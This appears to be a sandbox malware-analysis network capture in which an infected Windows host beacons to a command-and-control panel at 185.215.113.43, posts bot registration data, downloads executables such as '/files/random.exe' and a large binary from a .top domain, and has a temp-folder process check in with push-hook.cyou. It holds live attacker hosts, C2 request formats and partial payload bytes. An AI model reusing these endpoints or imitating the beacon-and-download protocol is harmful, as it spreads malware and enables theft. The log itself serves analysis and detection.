Nov 24, 2024 14:30:36.685209990 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 24, 2024 14:30:38.066158056 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 13:30:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.4	50433	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 14:30:39.819695950 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 14:30:41.161036968 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 13:30:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.4	50434	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 14:30:42.799268007 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 24, 2024 14:30:44.183494091 CET	283	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 13:30:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 35 64 0d 0a 20 3c 63 3e 31 30 30 38 37 37 31 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 64 39 37 65 39 63 34 35 34 33 62 33 31 64 65 31 35 34 34 31 23 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 5d <c>1008771001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbd97e9c4543b31de15441#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.4	50435	31.41.244.11	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 14:30:44.320307970 CET	138	OUT	GET /files/random.exe HTTP/1.1 Host: 31.41.244.11 If-Modified-Since: Sun, 24 Nov 2024 12:19:04 GMT If-None-Match: "674319b8-42ea00"
Nov 24, 2024 14:30:45.656414986 CET	192	IN	HTTP/1.1 304 Not Modified Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 13:30:45 GMT Last-Modified: Sun, 24 Nov 2024 12:19:04 GMT Connection: keep-alive ETag: "674319b8-42ea00"

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.4	50436	34.116.198.130	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 14:30:46.825695038 CET	87	OUT	GET /LCXOUUtXgrKhKDLYSbzW1732019347 HTTP/1.1 Host: home.fvtekk5pn.top Accept: /
Nov 24, 2024 14:30:48.251708031 CET	1236	IN	HTTP/1.1 200 OK server: nginx/1.22.1 date: Sun, 24 Nov 2024 13:30:48 GMT content-type: application/octet-stream content-length: 10815536 content-disposition: attachment; filename="36EpLiutqfXtaXMkXOTru;" last-modified: Tue, 19 Nov 2024 12:29:07 GMT cache-control: no-cache etag: "1732019347.4431374-10815536-3919321515" Data Raw: 9b 04 9e 1d e2 2a 68 73 fe d9 48 6f 2c 36 36 c8 a4 e4 ba e7 12 f9 22 5d 6f 07 aa d2 fb 8c a2 b3 95 1e b6 6c ff 92 32 40 41 97 30 99 34 26 c9 44 c2 1e 7f 22 13 cd 10 62 a7 32 f3 c2 5c 11 ed c0 71 4a 49 c7 9d 3e 95 07 3e 4a 0a 6f 63 4c 1a b8 b6 1a 3d 67 8e 9d ed 46 4c 04 61 0a c6 3c 7b 3a f6 0d 3f 30 0d 33 18 56 4c f0 76 7a 8b c7 a1 f1 75 64 d6 00 c3 e9 df 3a 1b 4f 35 50 64 a6 db 6b 23 6a aa e6 6c 33 a4 69 a7 80 16 e0 e4 49 7c d0 73 7d bf 61 a2 62 7a 62 8e 5b f4 4d a9 ba 05 ae 7f d8 0c 3c 1e 71 cb 84 47 32 b1 63 64 df 8e 7a 22 8c 8e 33 7d f1 20 f1 74 04 61 fd 18 55 10 be 45 7d f4 63 45 d4 d0 16 17 c4 c8 a6 7d 44 80 d2 ba e9 1a 17 37 63 43 e4 22 3e c5 e4 a4 16 51 4f 2d 57 23 3a 36 33 fa f3 c5 aa 04 00 79 5c 1f 43 8d f1 b2 56 df 86 17 bc df 28 44 b7 aa 85 64 2d 2f 94 0d a5 7c 18 37 92 cb 0d 76 40 2e 05 16 6a ce b1 8c 0a e3 7d 08 00 ce 6a ef d3 51 b9 3b 81 19 3c 3f 6c 3e 37 fe 3f d7 b3 7d 60 7e e2 b1 a4 1f 00 62 27 63 3d fd 4b 06 87 dc 8e 8e fa 56 9b bf 7a dc a3 07 20 e3 0b 1a f5 06 b1 0f 6d 27 af dd 1b [TRUNCATED] Data Ascii: hsHo,66"]ol2@A04&D"b2\qJI>>JocL=gFLa<{:?03VLvzud:O5Pdk#jl3iI\|s}abzb[M<qG2cdz"3} taUE}cE}D7cC">QO-W#:63y\CV(Dd-/\|7v@.j}jQ;<?l>7?}`~b'c=KVz m'3~\K ^m_F<4xrG/dz4?gv5,?^w@X^wZ1~7C+Z&dp`#9XgJC>e93VGh74x?x[3=YT.Qa `MG?_zGkB+(#8RUeY[x-$4`zAc`vmVlP+>tsd@>ydCHSnt+_`"FitXXD.}P #(4K<0b h;]6{bgEqvZ>4o]2?}#\|![L&!z";ZY<PPT9HC}M*65qs#ep%@LlGH)bj'7a: ;B3L0"
Nov 24, 2024 14:30:48.251877069 CET	1236	IN	Data Raw: b8 ff 32 30 58 cd 81 20 5f b7 4d f7 d5 77 53 0a 4f e7 60 83 ed 44 cc d0 f5 71 1e 4e 4f f8 01 9b 7d 28 47 50 fb 75 8d 8e 55 9f 9d c6 2b 06 24 6f 58 e4 80 8f e0 a2 b4 79 5d f7 cf 4a e0 fc b8 91 16 d1 c7 db 64 34 ea ff 9a 7a 67 99 a9 5e e5 15 9c c8 Data Ascii: 20X _MwSO`DqNO}(GPuU+$oXy]Jd4zg^h(>sNk=@nIEbcZ"~Q6]4AGc]>2+<X]2]CRq[Ya{YvF{m2*bg3\|8IBlm&
Nov 24, 2024 14:30:48.251888990 CET	1236	IN	Data Raw: 31 a0 27 b0 31 e8 22 a5 51 78 81 6b ea a9 43 84 11 c4 be 3a 3c 17 d0 63 57 c5 20 31 2f c5 f3 3d bf 67 df 7f 0a 0e 93 9c af 04 65 f3 af a9 d4 4f 98 e4 8e ec 3f 1b 0f e9 f3 b7 01 21 79 8f 56 8d ec 70 82 ac 4b 64 58 ce 90 f4 54 8d 94 fe aa 7b 06 b3 Data Ascii: 1'1"QxkC:<cW 1/=geO?!yVpKdXT{`6u}]dTlC%hU.\|zi<kGB5}mP=PNp?%G~e\|NSF{)OfI"&l6~/YLm#K>
Nov 24, 2024 14:30:48.341887951 CET	552	IN	Data Raw: 52 23 c5 90 d5 ff 98 77 06 c3 aa 7f 85 27 36 0c 3d 95 5d f4 72 4e 81 4b 66 ae 6d 23 f3 44 c6 b9 51 f6 7b 5b 38 44 ca f3 b2 7c cf 81 a7 28 04 b5 36 b4 fb 4f 20 f4 f8 c4 28 41 7e c3 7e 89 b0 03 17 ce b1 07 49 cd b1 88 29 27 55 18 25 6f 10 b0 06 82 Data Ascii: R#w'6=]rNKfm#DQ{[8D\|(6O (A~~I)'U%o%.8]<4428@9]VGi&3'/SvepiD`)fhOOu;{ad=E/Z7h(}ZD0EZE_EP=5>J5B
Nov 24, 2024 14:30:48.371388912 CET	1236	IN	Data Raw: 54 65 68 8b e4 85 de 32 cf 3f a9 91 d9 b6 ed 84 92 fe 43 ef 63 9d c2 e9 e7 0c 37 eb 8e 40 ac ba 3b 5e dc c7 ba 12 00 66 bd c0 4d 3d c3 a8 ae a7 d5 d7 6f 36 bd e3 46 64 0b b0 9d 1c 3f d1 b7 6e 1a 8c 4b 17 be f7 39 cb cb 34 a8 10 80 2e 96 00 d5 f9 Data Ascii: Teh2?Cc7@;^fM=o6Fd?nK94.Ss^YB2*Eapp_&Lh@:;H9&kDH32x&0z<O\|(4;'=<ZBS1a<aQNyA;4^p;'Ok
Nov 24, 2024 14:30:48.371403933 CET	1236	IN	Data Raw: e5 72 d2 c7 ce 58 5f c5 50 24 a4 62 ec 06 7d 5b 16 4f 20 b9 42 df 3a 3c 09 6c 9e 12 d6 34 bd 67 b1 17 49 a9 d8 41 50 fc f8 46 77 25 32 61 ac 60 5e 5f 01 e9 83 c2 64 84 10 41 93 a8 32 8b 72 69 b6 a4 ae 40 51 dc de bd 43 8d 9c 9e 5f 25 5d a9 a1 9a Data Ascii: rX_P$b}[O B:<l4gIAPFw%2a`^_dA2ri@QC_%]-zW"H-9o<oajCER X<.GF3*\|Y?pn3iEox/rq>M9{U@8^y,xy>oir
Nov 24, 2024 14:30:48.371413946 CET	1236	IN	Data Raw: 66 b0 d8 a9 0e 54 43 ee cb b7 a1 20 0f 5c c5 1e b1 e1 26 d2 e9 03 fc 72 d5 ea aa 46 6d 73 a1 d1 66 c9 b6 ee 9a 5c 4f dc bf 94 e1 cb 01 a2 23 23 2c 0f c7 9a 52 f5 a2 21 95 81 02 f6 24 54 f3 75 5d e6 e3 52 b3 1e 12 9c 7f 8d 7a 60 41 95 35 92 aa 18 Data Ascii: fTC \&rFmsf\O##,R!$Tu]Rz`A5=Yw&Ex3XvNX^XjyJncs:q_gBpK6q+.K%sZ. W, aTz,h;fas#F@{Hy,Ir>T%}X\|(
Nov 24, 2024 14:30:48.494594097 CET	1236	IN	Data Raw: ca bf 3d 19 75 6f cd be 19 1d de 0d b3 77 d9 dc 60 e6 17 e8 44 3b 06 e6 53 d8 20 d5 14 56 4f 38 26 fe 6c 11 5c d0 8d 0e 36 84 51 23 9d e1 84 dc de 67 dd 77 ae 60 d9 76 6e ca 68 c2 62 61 e1 76 e4 8a 95 b4 c3 60 2f 57 d0 11 94 d1 30 f4 3a 97 1b 61 Data Ascii: =uow`D;S VO8&l\6Q#gw`vnhbav`/W0:acnXmPOAAi[kzx+qMVZUMsj-C/>dNVQG]y,V}Msi@,%VAaMKu\|]a4n&'99yI]
Nov 24, 2024 14:30:48.494606018 CET	736	IN	Data Raw: fb c4 e4 54 a4 42 d1 bb 0d c6 08 d8 cd a0 c6 7b 47 2d bf 44 07 1e 1e dc 47 9f 30 5f 8a b3 cc 50 5f 0c 37 a9 81 1f ed 36 a0 c8 db 24 b6 1e 3d 24 2f d1 8d c3 4b 95 f9 0e 98 0e a2 c4 1a 1d 89 19 28 89 36 c9 22 4e 90 44 9b 06 fc 76 ef 66 a7 f0 96 3d Data Ascii: TB{G-DG0_P_76$=$/K(6"NDvf=nk$ip{sh(:<(+K]xL%Py6$],x[F("SR}RiUiq\TfKxzLj<bT,
Nov 24, 2024 14:30:48.494613886 CET	1236	IN	Data Raw: 3e 81 b8 0b 20 69 ab 34 85 a8 b0 d8 36 65 a4 ee cc 4c c2 8e 0c ad 04 22 ae 7f 21 b0 07 ba 9b 5e cb 6a 52 77 7b 8d 97 3b 2b 42 30 84 f0 a7 51 0d 9d c3 17 67 a0 5a 20 c3 b9 46 82 12 80 dd d2 fa 5e be e9 28 7d 97 cc b1 b9 01 b6 ca 8b a0 f4 85 6e d5 Data Ascii: > i46eL"!^jRw{;+B0QgZ F^(}n^lX3dYCtP}q{jWix+@?e-{RPc-7c"fH`?o}uxE<DO^YJ10g]9+/FruZ"
Nov 24, 2024 14:30:48.494637012 CET	1236	IN	Data Raw: 00 6d 56 34 54 2e c0 ea f8 e3 30 08 33 9d 9e d0 1d 0e d0 5e 42 f2 b4 70 b1 66 ed 7e 38 19 20 3e 72 63 9a 3b ac d8 9f 07 d8 7e 43 ef 05 86 e2 77 b3 3e 06 d0 40 7b e5 ee 60 14 fe e5 fc bf ba 81 64 c9 7a 23 7e a2 fe e8 f8 19 0c 83 11 4a c7 30 52 c7 Data Ascii: mV4T.03^Bpf~8 >rc;~Cw>@{`dz#~J0RnF@o"w\|"s{Vh)?Rgbw9U-.GBlHHzp8(>KV&_Fk+j0!\&YZ!jP= >KZ!8(V?AzgJ[;D5

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.4	50441	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 14:30:48.086388111 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 38 37 37 31 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008771001&unit=246122658369
Nov 24, 2024 14:30:49.466139078 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 13:30:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.4	50442	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 14:30:51.200438023 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 14:30:52.577814102 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 13:30:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.4	50443	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 14:30:54.228319883 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 24, 2024 14:30:55.610047102 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 13:30:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.4	50444	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 14:30:57.356087923 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 14:30:58.827733040 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 13:30:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.4	50445	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 14:31:00.451957941 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 24, 2024 14:31:01.834544897 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 13:31:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.4	50446	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 14:31:03.591854095 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 14:31:04.969347000 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 13:31:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.4	50447	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 14:31:06.613337040 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 24, 2024 14:31:08.046638012 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 13:31:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.4	50450	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 14:31:09.786540985 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 14:31:11.163017035 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 13:31:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.4	50452	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 14:31:12.809346914 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 24, 2024 14:31:14.202564001 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 13:31:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.4	50453	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 14:31:15.939268112 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 14:31:17.363720894 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 13:31:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.4	50454	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 14:31:18.994091988 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 24, 2024 14:31:20.378370047 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 13:31:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49770	104.21.10.6	443	7580	C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 13:24:15 UTC	261	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: push-hook.cyou
2024-11-24 13:24:15 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-11-24 13:24:16 UTC	1013	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 13:24:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=u2aeake0gnkjhiicucdg36hg3m; expires=Thu, 20-Mar-2025 07:10:55 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1C7fRA2PASCfH6Rr6RqN5eR7c%2FEN60CzIQSzL3lm6c8LDeqSvcwKaMTLIvgAixnJ455N%2FIWKFImUXgS9v%2BwjsdEFm7OnqsFU%2BQv2cuSsd2OCphb4WU89UrvBKFkkc2Jfyg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e79b7e0cf7042db-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1580&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2836&recv_bytes=905&delivery_rate=1791411&cwnd=231&unsent_bytes=0&cid=86741fec23bf3a64&ts=713&x=0"
2024-11-24 13:24:16 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-11-24 13:24:16 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
